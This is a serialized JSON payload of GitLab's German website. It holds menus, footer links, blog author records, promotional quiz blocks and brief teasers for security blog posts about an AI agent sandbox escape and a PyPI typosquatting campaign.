Center",{"href":2379,"dataGaName":2380,"dataGaLocation":2073},"/de-de/security/","trust center",{"text":2382,"config":2383},"AI Transparency Center",{"href":2384,"dataGaName":2385,"dataGaLocation":2073},"/de-de/ai-transparency-center/","ai transparency center",{"text":2387,"config":2388},"Newsletter",{"href":2389,"dataGaName":2390,"dataGaLocation":2073},"/company/contact/#contact-forms","newsletter",{"text":2392,"config":2393},"Presse",{"href":2394,"dataGaName":2395,"dataGaLocation":2073},"/press/","press",{"text":2397,"config":2398,"menu":2399},"Kontakt",{"dataNavLevelOne":2343},{"type":2124,"columns":2400},[2401],{"items":2402},[2403,2408,2413],{"text":2404,"config":2405},"Vertrieb kontaktieren",{"href":2406,"dataGaName":2407,"dataGaLocation":2073},"/de-de/sales/","talk to sales",{"text":2409,"config":2410},"Support-Portal",{"href":2411,"dataGaName":2412,"dataGaLocation":2073},"https://support.gitlab.com/hc/en-us","support portal",{"text":2414,"config":2415},"Kundenportal",{"href":2416,"dataGaName":2417,"dataGaLocation":2073},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":2419,"login":2420,"suggestions":2427},"Schließen",{"text":2421,"link":2422},"Um Repositorys und Projekte zu durchsuchen, melde dich an bei",{"text":2423,"config":2424},"gitlab.com",{"href":2087,"dataGaName":2425,"dataGaLocation":2426},"search login","search",{"text":2428,"default":2429},"Vorschläge",[2430,2432,2437,2439,2444,2449],{"text":2104,"config":2431},{"href":2109,"dataGaName":2104,"dataGaLocation":2426},{"text":2433,"config":2434},"Codevorschläge (KI)",{"href":2435,"dataGaName":2436,"dataGaLocation":2426},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":2140,"config":2438},{"href":2142,"dataGaName":2140,"dataGaLocation":2426},{"text":2440,"config":2441},"GitLab auf AWS",{"href":2442,"dataGaName":2443,"dataGaLocation":2426},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":2445,"config":2446},"GitLab auf Google Cloud",{"href":2447,"dataGaName":2448,"dataGaLocation":2426},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":2112,"config":2450},{"href":2117,"dataGaName":2451,"dataGaLocation":2426},"Why GitLab?",{"freeTrial":2453,"mobileIcon":2458,"desktopIcon":2463,"secondaryButton":2466},{"text":2454,"config":2455},"Kostenlos testen",{"href":2456,"dataGaName":2078,"dataGaLocation":2457},"https://gitlab.com/-/trials/new/","nav",{"altText":2459,"config":2460},"GitLab-Symbol",{"src":2461,"dataGaName":2462,"dataGaLocation":2457},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":2459,"config":2464},{"src":2465,"dataGaName":2462,"dataGaLocation":2457},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"text":2237,"config":2467},{"href":2468,"dataGaName":2469,"dataGaLocation":2457},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/de-de/get-started/","get started",{"freeTrial":2471,"mobileIcon":2475,"desktopIcon":2477},{"text":2472,"config":2473},"Mehr über GitLab Duo erfahren",{"href":2109,"dataGaName":2474,"dataGaLocation":2457},"gitlab duo",{"altText":2459,"config":2476},{"src":2461,"dataGaName":2462,"dataGaLocation":2457},{"altText":2459,"config":2478},{"src":2465,"dataGaName":2462,"dataGaLocation":2457},{"button":2480,"mobileIcon":2485,"desktopIcon":2487},{"text":2481,"config":2482},"/Option",{"href":2483,"dataGaName":2484,"dataGaLocation":2457},"#contact","switch",{"altText":2459,"config":2486},{"src":2461,"dataGaName":2462,"dataGaLocation":2457},{"altText":2459,"config":2488},{"src":2489,"dataGaName":2462,"dataGaLocation":2457},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1773335277/ohhpiuoxoldryzrnhfrh.png",{"freeTrial":2491,"mobileIcon":2496,"desktopIcon":2498},{"text":2492,"config":2493},"Zurück zur Preisübersicht",{"href":2224,"dataGaName":2494,"dataGaLocation":2457,"icon":2495},"back to pricing","GoBack",{"altText":2459,"config":2497},{"src":2461,"dataGaName":2462,"dataGaLocation":2457},{"altText":2459,"config":2499},{"src":2465,"dataGaName":2462,"dataGaLocation":2457},{"title":2501,"button":2502,"config":2506},"GitLab Orbit ist da: die Kontextebene für KI-Agenten",{"text":2115,"config":2503},{"href":2504,"dataGaName":2505,"dataGaLocation":2073},"/de-de/gitlab-orbit/","orbit",{"layout":2507,"disabled":2059},"release",{"data":2509},{"text":2510,"source":2511,"edit":2517,"contribute":2522,"config":2527,"items":2532,"minimal":2738},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":2512,"config":2513},"Quelltext der Seite anzeigen",{"href":2514,"dataGaName":2515,"dataGaLocation":2516},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":2518,"config":2519},"Diese Seite bearbeiten",{"href":2520,"dataGaName":2521,"dataGaLocation":2516},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":2523,"config":2524},"Beteilige dich",{"href":2525,"dataGaName":2526,"dataGaLocation":2516},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":2528,"facebook":2529,"youtube":2530,"linkedin":2531},"https://twitter.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[2533,2578,2631,2673,2705],{"title":2222,"links":2534,"subMenu":2549},[2535,2539,2544],{"text":2536,"config":2537},"Tarife anzeigen",{"href":2224,"dataGaName":2538,"dataGaLocation":2516},"view plans",{"text":2540,"config":2541},"Vorteile von Premium",{"href":2542,"dataGaName":2543,"dataGaLocation":2516},"/de-de/pricing/premium/","why premium",{"text":2545,"config":2546},"Vorteile von Ultimate",{"href":2547,"dataGaName":2548,"dataGaLocation":2516},"/de-de/pricing/ultimate/","why ultimate",[2550],{"title":2397,"links":2551},[2552,2554,2556,2558,2563,2568,2573],{"text":2404,"config":2553},{"href":2406,"dataGaName":2083,"dataGaLocation":2516},{"text":2409,"config":2555},{"href":2411,"dataGaName":2412,"dataGaLocation":2516},{"text":2414,"config":2557},{"href":2416,"dataGaName":2417,"dataGaLocation":2516},{"text":2559,"config":2560},"Status",{"href":2561,"dataGaName":2562,"dataGaLocation":2516},"https://status.gitlab.com/","status",{"text":2564,"config":2565},"Nutzungsbedingungen",{"href":2566,"dataGaName":2567,"dataGaLocation":2516},"/terms/","terms of use",{"text":2569,"config":2570},"Datenschutzerklärung",{"href":2571,"dataGaName":2572,"dataGaLocation":2516},"/de-de/privacy/","privacy statement",{"text":2574,"config":2575},"Cookie-Einstellungen",{"dataGaName":2576,"dataGaLocation":2516,"id":2577,"isOneTrustButton":311},"cookie preferences","ot-sdk-btn",{"title":2120,"links":2579,"subMenu":2588},[2580,2584],{"text":2581,"config":2582},"DevSecOps-Plattform",{"href":2102,"dataGaName":2583,"dataGaLocation":2516},"devsecops platform",{"text":2585,"config":2586},"KI-unterstützte Entwicklung",{"href":2109,"dataGaName":2587,"dataGaLocation":2516},"ai-assisted development",[2589],{"title":2590,"links":2591},"Themen",[2592,2596,2601,2606,2611,2616,2621,2626],{"text":2140,"config":2593},{"href":2594,"dataGaName":2595,"dataGaLocation":2516},"/de-de/topics/ci-cd/","cicd",{"text":2597,"config":2598},"GitOps",{"href":2599,"dataGaName":2600,"dataGaLocation":2516},"/de-de/topics/gitops/","gitops",{"text":2602,"config":2603},"DevOps",{"href":2604,"dataGaName":2605,"dataGaLocation":2516},"/de-de/topics/devops/","devops",{"text":2607,"config":2608},"Versionskontrolle",{"href":2609,"dataGaName":2610,"dataGaLocation":2516},"/de-de/topics/version-control/","version control",{"text":2612,"config":2613},"DevSecOps",{"href":2614,"dataGaName":2615,"dataGaLocation":2516},"/de-de/topics/devsecops/","devsecops",{"text":2617,"config":2618},"Cloud-nativ",{"href":2619,"dataGaName":2620,"dataGaLocation":2516},"/de-de/topics/cloud-native/","cloud native",{"text":2622,"config":2623},"KI für das Programmieren",{"href":2624,"dataGaName":2625,"dataGaLocation":2516},"/de-de/topics/devops/ai-for-coding/","ai for coding",{"text":2627,"config":2628},"Agentische KI",{"href":2629,"dataGaName":2630,"dataGaLocation":2516},"/de-de/topics/agentic-ai/","agentic ai",{"title":2632,"links":2633},"Lösungen",[2634,2637,2639,2644,2648,2651,2654,2657,2659,2661,2663,2668],{"text":2165,"config":2635},{"href":2160,"dataGaName":2636,"dataGaLocation":2516},"Application Security Testing",{"text":2152,"config":2638},{"href":2136,"dataGaName":2137,"dataGaLocation":2516},{"text":2640,"config":2641},"Agile Entwicklung",{"href":2642,"dataGaName":2643,"dataGaLocation":2516},"/de-de/solutions/agile-delivery/","agile delivery",{"text":2645,"config":2646},"SCM",{"href":2149,"dataGaName":2647,"dataGaLocation":2516},"source code management",{"text":2140,"config":2649},{"href":2142,"dataGaName":2650,"dataGaLocation":2516},"continuous integration & delivery",{"text":2191,"config":2652},{"href":2193,"dataGaName":2653,"dataGaLocation":2516},"value stream management",{"text":2597,"config":2655},{"href":2656,"dataGaName":2600,"dataGaLocation":2516},"/de-de/solutions/gitops/",{"text":2204,"config":2658},{"href":2207,"dataGaName":2208,"dataGaLocation":2516},{"text":2210,"config":2660},{"href":2213,"dataGaName":2214,"dataGaLocation":2516},{"text":2216,"config":2662},{"href":2219,"dataGaName":2220,"dataGaLocation":2516},{"text":2664,"config":2665},"Bildungswesen",{"href":2666,"dataGaName":2667,"dataGaLocation":2516},"/de-de/solutions/education/","education",{"text":2669,"config":2670},"Finanzdienstleistungen",{"href":2671,"dataGaName":2672,"dataGaLocation":2516},"/de-de/solutions/finance/","financial services",{"title":2227,"links":2674},[2675,2677,2679,2681,2684,2686,2689,2691,2693,2695,2697,2699,2701,2703],{"text":2240,"config":2676},{"href":2242,"dataGaName":2243,"dataGaLocation":2516},{"text":2245,"config":2678},{"href":2247,"dataGaName":2248,"dataGaLocation":2516},{"text":2250,"config":2680},{"href":2252,"dataGaName":2253,"dataGaLocation":2516},{"text":2255,"config":2682},{"href":2257,"dataGaName":2683,"dataGaLocation":2516},"docs",{"text":2278,"config":2685},{"href":2280,"dataGaName":2281,"dataGaLocation":2516},{"text":2687,"config":2688},"Neuerungen",{"href":2338,"dataGaName":2339,"dataGaLocation":2516},{"text":2273,"config":2690},{"href":2275,"dataGaName":2276,"dataGaLocation":2516},{"text":2292,"config":2692},{"href":2294,"dataGaName":2295,"dataGaLocation":2516},{"text":2300,"config":2694},{"href":2302,"dataGaName":2303,"dataGaLocation":2516},{"text":2305,"config":2696},{"href":2307,"dataGaName":2308,"dataGaLocation":2516},{"text":2310,"config":2698},{"href":2312,"dataGaName":2313,"dataGaLocation":2516},{"text":2315,"config":2700},{"href":2317,"dataGaName":2318,"dataGaLocation":2516},{"text":2320,"config":2702},{"href":2322,"dataGaName":2323,"dataGaLocation":2516},{"text":2325,"config":2704},{"href":2327,"dataGaName":2328,"dataGaLocation":2516},{"title":2341,"links":2706},[2707,2709,2711,2713,2715,2717,2722,2727,2729,2731,2733],{"text":2349,"config":2708},{"href":2351,"dataGaName":2343,"dataGaLocation":2516},{"text":2354,"config":2710},{"href":2356,"dataGaName":2357,"dataGaLocation":2516},{"text":2362,"config":2712},{"href":2364,"dataGaName":2365,"dataGaLocation":2516},{"text":2367,"config":2714},{"href":2369,"dataGaName":2370,"dataGaLocation":2516},{"text":2372,"config":2716},{"href":2374,"dataGaName":2375,"dataGaLocation":2516},{"text":2718,"config":2719},"Nachhaltigkeit",{"href":2720,"dataGaName":2721,"dataGaLocation":2516},"/sustainability/","Sustainability",{"text":2723,"config":2724},"Vielfalt, Inklusion und Zugehörigkeit",{"href":2725,"dataGaName":2726,"dataGaLocation":2516},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":2377,"config":2728},{"href":2379,"dataGaName":2380,"dataGaLocation":2516},{"text":2387,"config":2730},{"href":2389,"dataGaName":2390,"dataGaLocation":2516},{"text":2392,"config":2732},{"href":2394,"dataGaName":2395,"dataGaLocation":2516},{"text":2734,"config":2735},"Transparenzerklärung zu moderner Sklaverei",{"href":2736,"dataGaName":2737,"dataGaLocation":2516},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"items":2739},[2740,2743,2746],{"text":2741,"config":2742},"Terms",{"href":2566,"dataGaName":2567,"dataGaLocation":2516},{"text":2744,"config":2745},"Cookies",{"dataGaName":2576,"dataGaLocation":2516,"id":2577,"isOneTrustButton":311},{"text":2747,"config":2748},"Datenschutz",{"href":2571,"dataGaName":2572,"dataGaLocation":2516},[2750,2764],{"id":2751,"title":7,"body":2053,"config":2752,"content":2754,"description":2053,"extension":2758,"meta":2759,"navigation":311,"path":2760,"seo":2761,"stem":2762,"__hash__":2763},"blogAuthors/en-us/blog/authors/michael-henriksen.yml",{"template":2753},"BlogAuthor",{"name":7,"config":2755},{"headshot":2756,"ctfId":2757},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659488/Blog/Author%20Headshots/gitlab-logo-extra-whitespace.png","3DmojnawcJFqAgoNMCpFTX","yml",{},"/en-us/blog/authors/michael-henriksen",{},"en-us/blog/authors/michael-henriksen","dTL4-g73rNy2nzSawJkuBZzClePkjmBsk3b5cEkIceg",{"id":2765,"title":8,"body":2053,"config":2766,"content":2768,"description":2053,"extension":2758,"meta":2771,"navigation":311,"path":2772,"seo":2773,"stem":2774,"__hash__":2775},"blogAuthors/en-us/blog/authors/daniel-abeles.yml",{"template":2753,"gitlabHandle":2767},"dabeles",{"name":8,"config":2769},{"headshot":2770},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1786473980/kjzctsiwvfc6afimsdtc.jpg",{},"/en-us/blog/authors/daniel-abeles",{},"en-us/blog/authors/daniel-abeles","9j7gS6WI8857OrOR0VcnHZiFLXpZpnKFA3tgPdDU5hw",[2777,2784,2792],{"title":2778,"description":2779,"heroImage":2780,"category":2049,"date":2781,"authors":2782,"slug":2783,"externalUrl":2053},"Eine Sandbox ist so dicht wie das, was der Agent erreicht","Ein KI-Agent steckte ohne Ausweg in einer Evaluierung fest und entkam binnen einer Stunde über den einen Dienst auf seiner Allowlist. Das ist die Lücke.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1786468880/uxouffutvvwsbxzikhyc.png","2026-08-12",[8],"ai-agent-sandbox",{"title":2785,"description":2786,"heroImage":2787,"category":2049,"date":2788,"authors":2789,"slug":2791,"externalUrl":2053},"Wie GitLab ein eigenes Security-Control-Framework gebaut hat","Bestehende Frameworks passten nicht zur Multi-Produkt-Umgebung. Also baute GitLabs Security-Compliance-Team ein eigenes für viele Zertifizierungen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772630163/akp8ly2mrsfrhsb0liyb.png","2026-08-08",[2790],"Davoud Tu","how-gitlab-built-a-security-control-framework-from-scratch",{"title":2793,"description":2794,"heroImage":2787,"category":2049,"date":2795,"authors":2796,"slug":2798,"externalUrl":2053},"Shai-Hulud-Copycat-Kampagne zielt auf Python-Entwickler durch PyPI-Typosquatting","GitLabs Vulnerability Research-Team hat einen Python-Supply-Chain-Angriff auf PyPI entdeckt: Der Shai-Hulud-Wurm stiehlt Credentials aus CI/CD-Systemen.","2026-06-09",[2797,8],"Dinesh Bolkensteyn","shai-hulud-copycat-campaign-targets-python-developers",{"promotions":2800},[2801,2815,2827,2838],{"id":2802,"categories":2803,"header":2805,"text":2806,"button":2807,"image":2812},"ai-modernization",[2804],"ai","Hält KI, was uns versprochen wurde?","Das Quiz dauert maximal 5 Minuten.",{"text":2808,"config":2809},"Ermittle deinen KI-Reifegrad",{"href":2810,"dataGaName":2811,"dataGaLocation":2281},"/de-de/assessments/ai-modernization-assessment/","modernization assessment",{"config":2813},{"src":2814},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/qix0m7kwnd8x2fh1zq49.png",{"id":2816,"categories":2817,"header":2819,"text":2806,"button":2820,"image":2824},"devops-modernization",[2818,2615],"product","Verwaltest du Tool-Chaos oder stellst du Innovationen bereit?",{"text":2821,"config":2822},"Ermittle deinen DevOps-Reifegrad",{"href":2823,"dataGaName":2811,"dataGaLocation":2281},"/de-de/assessments/devops-modernization-assessment/",{"config":2825},{"src":2826},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138785/eg818fmakweyuznttgid.png",{"id":2828,"categories":2829,"header":2830,"text":2806,"button":2831,"image":2835},"security-modernization",[2064],"Tauschst du Schnelligkeit gegen Sicherheit ein?",{"text":2832,"config":2833},"Ermittle deinen Sicherheitsreifegrad",{"href":2834,"dataGaName":2811,"dataGaLocation":2281},"/de-de/assessments/security-modernization-assessment/",{"config":2836},{"src":2837},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1772138786/p4pbqd9nnjejg5ds6mdk.png",{"id":2839,"paths":2840,"header":2843,"text":2844,"button":2845,"image":2850},"github-azure-migration",[2841,2842],"migration-from-azure-devops-to-gitlab","integrating-azure-devops-scm-and-gitlab","Ist dein Team bereit für den Umzug von GitHub nach Azure?","GitHub stellt bereits auf Azure um. Finde heraus, was das für dich bedeutet.",{"text":2846,"config":2847},"Erfahre, wie GitLab im Vergleich zu GitHub abschneidet",{"href":2848,"dataGaName":2849,"dataGaLocation":2281},"/de-de/compare/gitlab-vs-github/github-azure-migration/","github azure migration",{"config":2851},{"src":2826},{"header":2853,"blurb":2854,"button":2855,"secondaryButton":2860},"Beginne noch heute, schneller zu entwickeln","Entdecke, was dein Team mit der intelligenten Orchestrierungsplattform für DevSecOps erreichen kann.\n",{"text":2856,"config":2857},"Kostenlosen Test starten",{"href":2858,"dataGaName":2078,"dataGaLocation":2859},"https://gitlab.com/-/trial_registrations/new?glm_content=default-saas-trial&glm_source=about.gitlab.com/de-de/","feature",{"text":2404,"config":2861},{"href":2406,"dataGaName":2083,"dataGaLocation":2859},1786803756196]